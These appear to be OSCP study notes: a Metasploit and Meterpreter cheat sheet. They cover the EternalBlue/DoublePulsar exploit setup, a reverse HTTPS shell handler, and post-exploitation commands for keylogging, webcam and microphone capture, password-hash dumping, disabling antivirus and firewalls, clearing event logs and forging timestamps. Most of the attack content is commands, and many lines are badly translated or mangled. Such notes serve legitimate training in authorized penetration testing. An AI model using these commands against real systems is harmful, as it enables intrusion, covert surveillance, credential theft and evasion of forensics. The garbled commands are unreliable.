# Metasploit&Meterpreter;

See [*Metasploit Unleashed Course*](https://www.offensive-security.com/metasploit-unleashed/)

Search for exploits using Metasploit GitHub framework source code:
[*https://github.com/rapid7/metasploit-framework*](https://github.com/rapid7/metasploit-framework)
Translate them for use on OSCP LAB or EXAM.

Metasploit
MetaSploit requires Postfresql
`systemctl start postgresql`

To enable Postgresql on startup
`systemctl enable postgresql`

MSF Syntax
Start metasploit
`msfconsole  `
`msfconsole -q`

Show help for command
`show -h`

Show Auxiliary modules
`show auxiliary`

Use a module
`use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/http/webdav_scanner
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/ftp/ftp_login
use exploit/windows/pop3/seattlelab_pass`

Show the basic information for a module
`info`

Show the configuration parameters for a module
`show options`

Set options for a module
`set RHOSTS 192.168.1.1-254
set THREADS 10`

Run the module
`run`

Execute an Exploit
`exploit`

Search for a module
`search type:auxiliary login`

Metasploit Database Access
Show all hosts discovered in the MSF database
`hosts`

Scan for hosts and store them in the MSF database
`db_nmap`

Search machines for specific ports in MSF database
`services -p 443`

Leverage MSF database to scan SMB ports (auto-completed rhosts)
`services -p 443 --rhosts`

You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue).  Although, not offically part of the indend
https://www.youtube.com/watch?v=4OHLor9VaRI

1. First step is to configure the Kali to work with wine 32bit

`dpkg --add-architecture i386 && apt-get update && apt-get install wine32
rm -r ~/.wine
wine cmd.exe
exit`

2. Download the exploit repostory
https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

3. Move the exploit to /usr /share /metasploit-framework /modules /exploits /windows /smb

4. Start metasploit console (spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.)

`use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10
RHOST => 10.11.1.73
msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe
PROCESSINJECT => spoolsv.exe
msf exploit(eternalblue_doublepulsar) > run`

####Experimenting with Meterpreter####

Get system information from Meterpreter Shell
`sysinfo`

Get user id from Meterpreter Shell
`getuid`

Search for a file
`search -f *pass*.txt`

Upload a file
`upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec`

Download a file
`download c:\\Windows\\system32\\calc.exe /tmp/calc.exe`

Invoke a command shell from Meterpreter Shell
`shell`

Exit the meterpreter shell
`exit`

Metasploit Exploit Multi Handler
multi/handler to accept an incoming reverse_https_meterpreter

`payload
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST $ip
set LPORT 443
exploit
[*] Started HTTPS reverse handler on https://$ip:443/`

Building Your Own MSF Module
`mkdir -p ~/.msf4/modules/exploits/linux/misc
cd ~/.msf4/modules/exploits/linux/misc
cp
/usr/share/metasploitframework/modules/exploits/linux/misc/gld_postfix.rb
./crossfire.rb
nano crossfire.rb`

Post Exploitation with Metasploit - (available options depend on OS and Meterpreter Cababilities)
-   `download` Download a file or directory
`upload` Upload a file or directory
`portfwd` Forward a local port to a remote service
`route` View and modify the routing table
`keyscan_start` Start capturing keystrokes
`keyscan_stop` Stop capturing keystrokes
`screenshot` Grab a screenshot of the interactive desktop
`record_mic` Record audio from the default microphone for X seconds
`webcam_snap` Take a snapshot from the specified webcam
`getsystem` Attempt to elevate your privilege to that of local system.
`hashdump` Dumps the contents of the SAM database

---

####Materpreter Study Notes

```
# Baisc system commands
background                  # placed in the background of the current session
Sessions                    # Sessions to see -h help
sessions -i <ID value>      # kill -k session into the session
bgrun / RUN                 # implementation of the existing module, double-click the tab enter the run, has been
info                        # View existing module information
getuid                      # View current user identity
getprivs                    # View current user permissions
getpid                      # Get current process ID (PID)
sysinfo                     # View target machine system information
irb                         # Open ruby terminal
ps                          # View is running Process
kill <PID value>            # Kill the specified PID process
idletime                    # View target idle time
reboot / shutdown           # Restart / Shutdown
shell                       # Enter target cmd shell

# Common cmd commands
Whoami                    # Current privilege
quser                     # Query current online administrator
net user                  # View existing user
net user username/password/add                      # Add user and corresponding password
net localgroup User group name username/add         # Add the specified user to the specified user group
netstat -ano              # Query the current network connection communication in the computer, LISTENING indicates
systeminfo                # View the details of the current computer
tasklist /svc             # View each process corresponding to services
taskkill / f / im program name                      # name of the end of a specified program
taskkill / f / PID ID                               # end of a specified process PID
tasklist | findstr "string"                         # Find content specified output
logoff                                              # cancellation of a Specify the user's ID
shutdown -r                                         # Restart the current computer
netsh adcfirewall setAllprofiles state off          # Turn off the firewall

# Uictl switch keyboard / mouse
Uictl [ enable/disable ]  [ keyboard/mouse/all ]   # enable or disable keyboard/mouse
uictl disable mouse       # disable mouse
uictl disable keyboard    # disable keyboard

# Execute executable file
the Execute # executable file on the target machine
execute -H -i -f cmd.exe create a new process cmd.exe #, -H invisible, -i interactive
execute -H -m -d notepad.exe -f payload.exe - a "-o hack.txt"
# -d Process name displayed during execution of the target host (for masquerading) -m Direct execution from memory
"-o hack.txt" is the running parameter of payload.exe

# Migrate process migration
Getpid          # Get the current process's pid
ps              # View the current active process
migrate <pid value>     # Migrate the Meterpreter session to the specified pid value in the process
kill <pid value>        #kill the process

# Clearav clear log
Clearav   # Clear application logs, system logs, security logs in windows

# Timestomp forged timestamp
```

```
Timestomp C: \\ -h
View help timestomp -v C: \\ 2 .txt
View timestamp timestomp C: \\ 2 .txt -f C: \\ 1 .txt #Copy the timestamp of 1.txt Give
2. txt timestomp c: \\ test \\ 22 .txt -z "03/10/2019 11:55:55" -v # Set the four properties to uniform time

# Portfwd port forwarding
Portfwd add -l 1111 -p 3389 -r 127 .0.0.1 #Forward the 3389 port of the target machine to the local port 1111
rdesktop 127 .0.0.1:1111 # Need to enter the username and password to connect
rdesktop -u Administrator -p 123  127 .0.0.1:1111 # -u username -p password


# Autoroute add route
run autoroute -h # View help
run get_local_subnets # View target intranet segment address
run autoroute -s 192 .168.183.0/24   # Add target network segment route
run autoroute -p   # View added route
run post/windows/gather/arp_scanner RHOSTS = 192 .168.183.0/24
run auxiliary/scanner/portscan/tcp RHOSTS = 192 .168.183.146 PORTS = 3389

# Socks agent
Reference: https://www.freebuf.com/articles/network/125278.html
use auxiliary/server/socks4a
 set srvhost 127 .0.0.1
 set srvport 2000
run

# Common script
Run arp_scanner -r 192 .168.183.1/24   # Use arp for surviving host scan
run winenum   # automate some detection scripts
run credcollect # get user hash
run domain_list_gen   # get domain management account list
run post/multi/gather/env   # get User environment variable
run post/windows/gather/enum_logged_on_users -c   # List current login user
run post/linux/gather/checkvm   # virtual machine
run post/windows/gather/checkvm   # virtual machine
run post/windows/gather/ Forensics/enum_drives   # View memory information
run post/windows/gather/enum_applications   # Get installation software information
run post/windows/gather/dumplinks    # Get recently accessed documents, link information
run post/windows/gather/enum_ie  # Get IE cache
run post/windows/gather/enum_firefox   # Get firefox cache
run post/windows/gather/enum_chrome    # Get Chrome cache
run post/multi/recon/local_exploit_suggester   # Get local privilege vulnerability
run post/windows/gather/enum_patches   # Get patch information
run post/windows/gather/enum_domain   # Find domain control
run post/windows/gather/enum_snmp   # Get snmp community name
run post/windows/gather/credentials/vnc   # Get vnc password
run post/windows/wlan/ Wlan_profile   # Used to read the target host WiFi password
run post/multi/gather/wlan_geolocate # Based on wlan, the location confirmation file is located at /root/.msf4/loot
run post/windows/manage/killav close antivirus software

# Common crack module
Auxiliary/scanner/mssql/mssql_login
Auxiliary/scanner/ftp/ftp_login
Auxiliary/scanner/ssh/ssh_login
Auxiliary/scanner/telnet/telnet_login
Auxiliary/scanner/smb/smb_login
Auxiliary/scanner/mssql/mssql_login
Auxiliary/scanner/mysql/mysql_login
Auxiliary/scanner/oracle/oracle_login
Auxiliary/scanner/postgres/postgres_login
Auxiliary/scanner/vnc/vnc_login
Auxiliary/scanner/pcanywhere/pcanywhere_login
Auxiliary/scanner/snmp/snmp_login
Auxiliary/scanner/ftp/anonymous

# Keylogger
Keyscan_start   # Start key record
keyscan_dump    # Export record data
keyscan_stop    # End key record

# Sniffer capture package
```

```
Use sniffer
Sniffer_interfaces    # View NIC
sniffer_start 1    # Select NIC 1 to start capturing
sniffer_stats 1    # View NIC 1 status
sniffer_dump 1 /tmp/wlan1.pcap   # Export pcap packet
sniffer_stop 1    # Stop NIC 1 capture
sniffer_release 1  # Release NIC 1 traffic

# Webcam
record_mic■  # audio recording
webcam_chat   # open a video chat (the other party pop)
webcam_list   # view camera
webcam_snap   # through the camera to take pictures
webcam_stream   # open by video surveillance cameras (to monitor ≈ live as a web page)

# Screen capture
Screenshot   # Screenshots
use espia   # Use espia module
screengrab   # screenshot

# Getgui command
run getgui –h   # View help
run getgui -e   # Open remote desktop
run getgui -u admin -p admin   # Add user
run getgui -f 6666 -e   # 3389 port forward to 6666


-------------------------------------------------------------------------------------------------------------
CORE COMMANDS
? - help menu
background - moves the current session to the background
bgkill - kills a background meterpreter script
bglist - provides a list of all running background scripts
bgrun - runs a script as a background thread
channel - displays active channels
close - closes a channel
exit - terminates a meterpreter session
help - help menu
interact - interacts with a channel
irb - go into Ruby scripting mode
migrate - moves the active process to a designated PID
quit - terminates the meterpreter session
read - reads the data from a channel
run - executes the meterpreter script designated after it
use - loads a meterpreter extension
write - writes data to a channel

FILE SYSTEM COMMANDS
cat - read and output to stdout the contents of a file
cd - change directory on the victim
del - delete a file on the victim
download - download a file from the victim system to the attacker system
edit - edit a file with vim
getlwd - print the local directory
getwd - print working directory
lcd - change local directory
lpwd - print local directory
ls - list files in current directory
mkdir - make a directory on the victim system
pwd - print working directory
rm - delete a file
rmdir - remove directory on the victim system
upload - upload a file from the attacker system to the victim

NETWORK COMMANDS
ipconfig - displays network interfaces with key information including IP address, etc.
portfwd - forwards a port on the victim system to a remote service
route - view or modify the victim routing table

SYSTEM COMMANDS
clearav - clears the event logs on the victim's computer
```

```
drop_token - drops a stolen token
execute - executes a command
getpid - gets the current process ID (PID)
getprivs - gets as many privileges as possible
getuid - get the user that the server is running as
kill - terminate the process designated by the PID
ps - list running processes
reboot - reboots the victim computer
reg - interact with the victim's registry
rev2self - calls RevertToSelf() on the victim machine
shell - opens a command shell on the victim machine
shutdown - shuts down the victim's computer
steal_token - attempts to steal the token of a specified (PID) process
sysinfo - gets the details about the victim computer such as OS and name

User Interface Commands
enumdesktops - lists all accessible desktops
getdesktop - get the current meterpreter desktop
idletime - checks to see how long since the victim system has been idle
keyscan_dump - dumps the contents of the software keylogger
keyscan_start - starts the software keylogger when associated with a process such as Word or browser
keyscan_stop - stops the software keylogger
screenshot - grabs a screenshot of the meterpreter desktop
set_desktop - changes the meterpreter desktop
uictl - enables control of some of the user interface components

PRIVILAGE ESCALATION COMMANDS
getsystem - uses 15 built-in methods to gain sysadmin privileges

PASSWORD DUMP COMMAND
hashdump - grabs the hashes in the password (SAM) file

TIMESTOMP COMMAND
timestomp - manipulates the modify, access, and create attributes of a file
```